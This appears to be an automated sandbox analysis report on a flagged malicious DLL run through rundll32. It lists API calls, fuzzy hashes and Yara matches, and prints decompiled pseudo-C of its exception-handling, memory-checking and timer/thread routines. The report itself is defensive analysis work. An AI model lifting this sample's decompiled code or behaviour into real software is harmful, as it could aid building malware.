                          • Instruction ID: 13e1297f3b5cd2243899108d1d00a1a74e70df76d1f36136a0670485f434ffa4
                          • Opcode Fuzzy Hash: b84fae2424a8dea2ca03a1429469610375b5738a21d8790c4dd2bcffc4a620be
                          • Instruction Fuzzy Hash: 0D22847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB67CA Relevance: 1.8, Strings: 1, Instructions: 575COMMON
                          Download Yara Rule
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID: 0-3916222277
                          • Opcode ID: 75b17838d1808b03527c14bb6745bbf07a9a7a411af5ddded991446cfc3067bf
                          • Instruction ID: df19651834cc6970ed9eac531e2159c4215ad21632915c6d90476c113c652814
                          • Opcode Fuzzy Hash: 75b17838d1808b03527c14bb6745bbf07a9a7a411af5ddded991446cfc3067bf
                          • Instruction Fuzzy Hash: 77428A30A00B458FCB25CF69C4806EABBF2FF49304F58896ED4DA9B651D734B586CB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C784C1 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C784C1(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x4c7a380; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x4c7a3c8 = 1;
										__eflags =  *0x4c7a3c8;
										if( *0x4c7a3c8 != 0) {
											goto L60;
										}
										_t84 =  *0x4c7a380; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x4c7a3c8 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x4c7a380 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x4c7a388 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x4c7a384 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x4c7a388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x4c7a388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x4c7a3c8 = 1;
							__eflags =  *0x4c7a3c8;
							if( *0x4c7a3c8 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x4c7a388 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x4c7a388 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x4c7a3c8 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x4c7a388 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x4c7a380 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x4c7a388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x4c7a388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                          0x04c784cb
                          0x04c784ce
                          0x04c784d4
                          0x04c784f2
                          0x00000000
                          0x04c784f2
                          0x04c784dc
                          0x04c784e5
                          0x04c784eb
                          0x04c784fa
                          0x04c784fd
                          0x04c78500
                          0x04c7850a
                          0x04c7850a
                          0x04c7850c
                          0x04c7850f
                          0x04c78511
                          0x04c78511
                          0x04c78513
                          0x04c78516
                          0x00000000
                          0x00000000
                          0x04c78518
                          0x04c7851a
                          0x04c78580
                          0x04c78580
                          0x04c786de
                          0x00000000
                          0x04c786de
                          0x04c7851c
                          0x04c7851c
                          0x04c78520
                          0x04c78522
                          0x04c78522
                          0x04c78522
                          0x04c78522
                          0x04c78525
                          0x04c78526
                          0x04c78529
                          0x04c78529
                          0x04c7852d
                          0x04c78531
                          0x04c7853f
                          0x04c7853f
                          0x04c78547
                          0x04c7854d
                          0x04c7854f
                          0x04c78551
                          0x04c78561
                          0x04c7856e
                          0x04c78572
                          0x04c78577
                          0x04c78579
                          0x04c785f7
                          0x04c785f7
                          0x04c7857b
                          0x04c7857b
                          0x04c7857b
                          0x04c785f9
                          0x04c785fb
                          0x04c786dc
                          0x04c786dc
                          0x00000000
                          0x04c78601
                          0x04c78601
                          0x04c78608
                          0x00000000
                          0x00000000
                          0x04c7860e
                          0x04c78612
                          0x04c7866e
                          0x04c78670
                          0x04c78678
                          0x04c7867a
                          0x04c7867c
                          0x00000000
                          0x00000000
                          0x04c7867e
                          0x04c78684
                          0x04c78686
                          0x04c78688
                          0x04c7869d
                          0x04c7869d
                          0x04c7869f
                          0x04c786ce
                          0x04c786d5
                          0x00000000
                          0x04c786d5
                          0x04c786a3
                          0x04c786a4
                          0x04c786a6
                          0x04c786a8
                          0x04c786a8
                          0x04c786aa
                          0x04c786ac
                          0x04c786ae
                          0x04c786c2
                          0x04c786c2
                          0x04c786c5
                          0x04c786c7
                          0x04c786c7
                          0x04c786c8
                          0x04c786c8
                          0x00000000
                          0x04c786b0
                          0x04c786b0
                          0x04c786b0
                          0x04c786b9
                          0x04c786ba
                          0x04c786bc
                          0x04c786be
                          0x04c786be
                          0x00000000
                          0x04c786b0
                          0x04c786ae
                          0x04c7868a
                          0x04c78691
                          0x04c78691
                          0x04c78693
                          0x00000000
                          0x00000000
                          0x04c78695
                          0x04c78696
                          0x04c78699
                          0x04c7869b
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c7869b
                          0x00000000
                          0x04c78691
                          0x04c78614
                          0x04c78617
                          0x04c7861c
                          0x00000000
                          0x00000000
                          0x04c78625
                          0x04c78627
                          0x04c7862d
                          0x00000000
                          0x00000000
                          0x04c78633
                          0x04c78639
                          0x00000000
                          0x00000000
                          0x04c7863f
                          0x04c78641
                          0x04c7864a
                          0x04c7864e
                          0x00000000
                          0x00000000
                          0x04c78654
                          0x04c78657
                          0x04c78659
                          0x00000000
                          0x00000000
                          0x04c78660
                          0x04c78662
                          0x00000000
                          0x00000000
                          0x04c78664
                          0x04c78668
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c78668
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c78553
                          0x04c78553
                          0x04c78553
                          0x04c7855a
                          0x00000000
                          0x00000000
                          0x04c7855c
                          0x04c7855d
                          0x04c7855f
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c7855f
                          0x04c78587
                          0x04c78589
                          0x00000000
                          0x00000000
                          0x04c78599
                          0x04c7859b
                          0x04c7859d
                          0x00000000
                          0x00000000
                          0x04c785a3
                          0x04c785aa
                          0x04c785d6
                          0x04c785d6
                          0x04c785d8
                          0x04c785da
                          0x04c785ee
                          0x04c785f0
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c785dc
                          0x04c785dc
                          0x04c785dc
                          0x04c785e5
                          0x04c785e6
                          0x04c785e8
                          0x04c785ea
                          0x04c785ea
                          0x00000000
                          0x04c785dc
                          0x04c785ac
                          0x04c785ac
                          0x04c785af
                          0x04c785b1
                          0x04c785c3
                          0x04c785c3
                          0x04c785c6
                          0x04c785c8
                          0x04c785c8
                          0x04c785c9
                          0x04c785c9
                          0x04c785cf
                          0x04c785cf
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c785b3
                          0x04c785b3
                          0x04c785b3
                          0x04c785ba
                          0x00000000
                          0x00000000
                          0x04c785bc
                          0x04c785bc
                          0x04c785bd
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c785bd
                          0x04c785bf
                          0x04c785c1
                          0x04c785d4
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c785d4
                          0x00000000
                          0x04c785c1
                          0x04c78533
                          0x04c78536
                          0x04c78539
                          0x00000000
                          0x00000000
                          0x04c7853b
                          0x04c7853d
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c7853d
                          0x04c78502
                          0x04c78504
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000

                          APIs
                          • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 04C78572
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: MemoryQueryVirtual
                          • String ID:
                          • API String ID: 2850889275-0
                          • Opcode ID: 8ef6ae2737e936c6ccb619ec866315e8cb0863ca47e01ded877be82d0dc73e7b
                          • Instruction ID: 44cd12666cd55c704e4480de33ed58f2092ba33a478a13de946eb020538ae13d
                          • Opcode Fuzzy Hash: 8ef6ae2737e936c6ccb619ec866315e8cb0863ca47e01ded877be82d0dc73e7b
                          • Instruction Fuzzy Hash: 9761D874700605AFEB69EE29C4D966973E3FB85354B288929D606CB284E731FA428770
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC8E57 Relevance: 1.6, APIs: 1, Instructions: 57processCOMMON
                          Download Yara Rule
                          APIs
                          • CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 04CC8EC7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CreateProcessUser
                          • String ID:
                          • API String ID: 2217836671-0
                          • Opcode ID: f0c46390ae06dfc00b6802c680f03416b7a6350942143b01d3959eebd8d24bd8
                          • Instruction ID: b59d3c030003d33bcb801b4af34dcbeb9f4383e5ef42232ff9f83f8070e97250
                          • Opcode Fuzzy Hash: f0c46390ae06dfc00b6802c680f03416b7a6350942143b01d3959eebd8d24bd8
                          • Instruction Fuzzy Hash: 4F11AF3A200159FFDF025E98DD00DEA7FABFF0D365B094219FA1992120C736E871AB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB36BB Relevance: 1.5, APIs: 1, Instructions: 11COMMON
                          Download Yara Rule
                          APIs
                          • RtlNtStatusToDosError.NTDLL(00000000), ref: 04CB36D3
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorStatus
                          • String ID:
                          • API String ID: 1596131371-0
                          • Opcode ID: bca7dd430c5d8e5f0c0cd92afaf2ee876c4663b1cc0210cd3fce207686ddded7
                          • Instruction ID: 2a10e44ce11f388212f0982e14370b715b1648426dc2a69636bd43bc4d99576c
                          • Opcode Fuzzy Hash: bca7dd430c5d8e5f0c0cd92afaf2ee876c4663b1cc0210cd3fce207686ddded7
                          • Instruction Fuzzy Hash: 90C0127A5062027BDA099E50D819A2A7A52EB60340F00441CB54680070C6359850C700
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD3DB0 Relevance: .1, Instructions: 77COMMON
                          Download Yara Rule
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: 1b247f9ab456798328bbce273d756eab87a009a6d6090662f68ee87ccfb315f2
                          • Instruction ID: e421b790ba799b42aa92ae774c1c3105d553e3b8424d60fc23a3025af779bfde
                          • Opcode Fuzzy Hash: 1b247f9ab456798328bbce273d756eab87a009a6d6090662f68ee87ccfb315f2
                          • Instruction Fuzzy Hash: C321B672A00244AFDB14EF68C8C496BB7A6FF44310B0585A9DE16CB295D730FA15CBE1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7829C Relevance: .1, Instructions: 77COMMONCrypto
                          Download Yara Rule
                          C-Code - Quality: 71%
                          			E04C7829C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E04C78407(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E04C784C1(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E04C783AC(_t55, _t66);
										_t89 = _t66 + 0x10;
										E04C78407(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E04C784A3(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}























                          0x04c782a0
                          0x04c782a1
                          0x04c782a2
                          0x04c782a5
                          0x04c782a7
                          0x04c782aa
                          0x04c782ab
                          0x04c782ad
                          0x04c782ae
                          0x04c782af
                          0x04c782b2
                          0x04c782bc
                          0x04c7836d
                          0x04c78374
                          0x04c7837d
                          0x04c782c2
                          0x04c782c2
                          0x04c782c8
                          0x04c782ce
                          0x04c782d1
                          0x04c782d4
                          0x04c782d8
                          0x04c782dd
                          0x04c782e2
                          0x04c78362
                          0x00000000
                          0x04c782e4
                          0x04c782e4
                          0x04c782f0
                          0x04c782f2
                          0x04c7834d
                          0x04c7834d
                          0x04c78353
                          0x00000000
                          0x04c782f4
                          0x04c78303
                          0x04c78305
                          0x04c78306
                          0x04c78307
                          0x04c7830a
                          0x04c7830a
                          0x04c7830c
                          0x00000000
                          0x04c7830e
                          0x04c7830e
                          0x04c78358
                          0x04c78310
                          0x04c78310
                          0x04c78314
                          0x04c7831c
                          0x04c78321
                          0x04c78326
                          0x04c78332
                          0x04c7833a
                          0x04c78341
                          0x04c78347
                          0x04c7834b
                          0x00000000
                          0x04c7834b
                          0x04c7830e
                          0x04c7830c
                          0x00000000
                          0x04c782f2
                          0x04c78366
                          0x04c78366
                          0x04c78366
                          0x04c782e2
                          0x04c78382
                          0x04c78389

                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
                          • Instruction ID: 2de9f6d744d9aa50939be3fa77d0a03a88b828ed61cd40c5beff773fb6e5766c
                          • Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
                          • Instruction Fuzzy Hash: 4121B6729002049FDB10EF68C8889BBB7AAFF44360B498568DA599B245E730FA15C7F0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB37C2 Relevance: 54.4, APIs: 36, Instructions: 424synchronizationtimethreadCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC5C28: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,00000000,?,?,?), ref: 04CC5C5C
                            • Part of subcall function 04CC5C28: GetLastError.KERNEL32(?,?,?,00000000,?,?,?), ref: 04CC5D1D
                            • Part of subcall function 04CC5C28: ReleaseMutex.KERNEL32(00000000,?,?,00000000,?,?,?), ref: 04CC5D26
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?), ref: 04CB3860
                            • Part of subcall function 04CBA976: OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 04CBA990
                            • Part of subcall function 04CBA976: CreateWaitableTimerA.KERNEL32(04CDA1E8,00000001,?), ref: 04CBA9AD
                            • Part of subcall function 04CBA976: GetLastError.KERNEL32(?,00000000,04CC8C06,00000000,00000000,0000801C,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CBA9BE
                            • Part of subcall function 04CBA976: GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,?,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBA9FE
                            • Part of subcall function 04CBA976: SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBAA1D
                            • Part of subcall function 04CBA976: HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBAA33
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?), ref: 04CB38C3
                          • StrChrA.SHLWAPI(00000000,0000007C,00000040,00000000,00000000,00000000,00000000,00000000), ref: 04CB393F
                          • StrTrimA.SHLWAPI(00000000,?), ref: 04CB3961
                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 04CB39A1
                            • Part of subcall function 04CBF08E: RtlAllocateHeap.NTDLL(00000000,00000010,7620F730), ref: 04CBF0B0
                            • Part of subcall function 04CBF08E: HeapFree.KERNEL32(00000000,00000000,00000038,00000000,00000000,?,?,?,?,04CB3899,?), ref: 04CBF0DE
                          • WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 04CB3A47
                          • CloseHandle.KERNEL32(?), ref: 04CB3CD6
                            • Part of subcall function 04CBE2E6: WaitForSingleObject.KERNEL32(?,00000000,00000000,?,?,?,04CB3A69,?), ref: 04CBE2F2
                            • Part of subcall function 04CBE2E6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,04CB3A69,?), ref: 04CBE320
                            • Part of subcall function 04CBE2E6: ResetEvent.KERNEL32(?,?,?,?,?,04CB3A69,?), ref: 04CBE33A
                          • WaitForSingleObject.KERNEL32(?,00000000,?), ref: 04CB3A7C
                          • WaitForSingleObject.KERNEL32(?,00000000), ref: 04CB3A8B
                          • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 04CB3AB8
                          • SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 04CB3AD2
                          • _allmul.NTDLL(0000003C,00000000,FF676980,000000FF), ref: 04CB3B1A
                          • SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,0000003C,00000000,FF676980,000000FF), ref: 04CB3B34
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04CB3B4A
                          • ReleaseMutex.KERNEL32(?), ref: 04CB3B67
                          • WaitForSingleObject.KERNEL32(?,00000000), ref: 04CB3B78
                          • WaitForSingleObject.KERNEL32(?,00000000), ref: 04CB3B87
                          • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 04CB3BBB
                          • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 04CB3BD5
                          • SwitchToThread.KERNEL32 ref: 04CB3BD7
                          • ReleaseMutex.KERNEL32(?), ref: 04CB3BE1
                          • WaitForSingleObject.KERNEL32(?,00000000), ref: 04CB3C1F
                          • WaitForSingleObject.KERNEL32(?,00000000), ref: 04CB3C2A
                          • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 04CB3C4D
                          • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF), ref: 04CB3C67
                          • SwitchToThread.KERNEL32 ref: 04CB3C69
                          • ReleaseMutex.KERNEL32(?), ref: 04CB3C73
                          • WaitForSingleObject.KERNEL32(?,00000000), ref: 04CB3C88
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?), ref: 04CB3CEA
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?), ref: 04CB3CF6
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?), ref: 04CB3D02
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?), ref: 04CB3D0E
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?), ref: 04CB3D1A
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?), ref: 04CB3D26
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?), ref: 04CB3D32
                          • RtlExitUserThread.NTDLL(00000000,?,?,?,?,?,?,?), ref: 04CB3D41
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Wait$CloseHandleObjectSingle$TimerWaitable$MultipleObjects$HeapMutexRelease_allmul$FreeThread$CreateErrorEventLastSwitchTime$AllocateExitFileOpenResetSystemTrimUser
                          • String ID:
                          • API String ID: 2369282788-0
                          • Opcode ID: 1baa1a346f30c7f3c5b7e5102c8d9f191334e73b952b9ad12bccc7a33fcc4454
                          • Instruction ID: fbbdcaea87c40086e0abdc210328cf44bb3d2857ed78b4460c0ea08493eddb7a
                          • Opcode Fuzzy Hash: 1baa1a346f30c7f3c5b7e5102c8d9f191334e73b952b9ad12bccc7a33fcc4454
                          • Instruction Fuzzy Hash: 68E1E4B5405351AFDB11AF64DC80AAFBBEAFB88354F040A2DF9D5921A0D735ED009B92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCF1C4 Relevance: 43.8, APIs: 29, Instructions: 271memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL ref: 04CCF1E5
                          • GetTickCount.KERNEL32 ref: 04CCF1FF
                          • wsprintfA.USER32 ref: 04CCF252
                          • QueryPerformanceFrequency.KERNEL32(?), ref: 04CCF25E
                          • QueryPerformanceCounter.KERNEL32(?), ref: 04CCF269
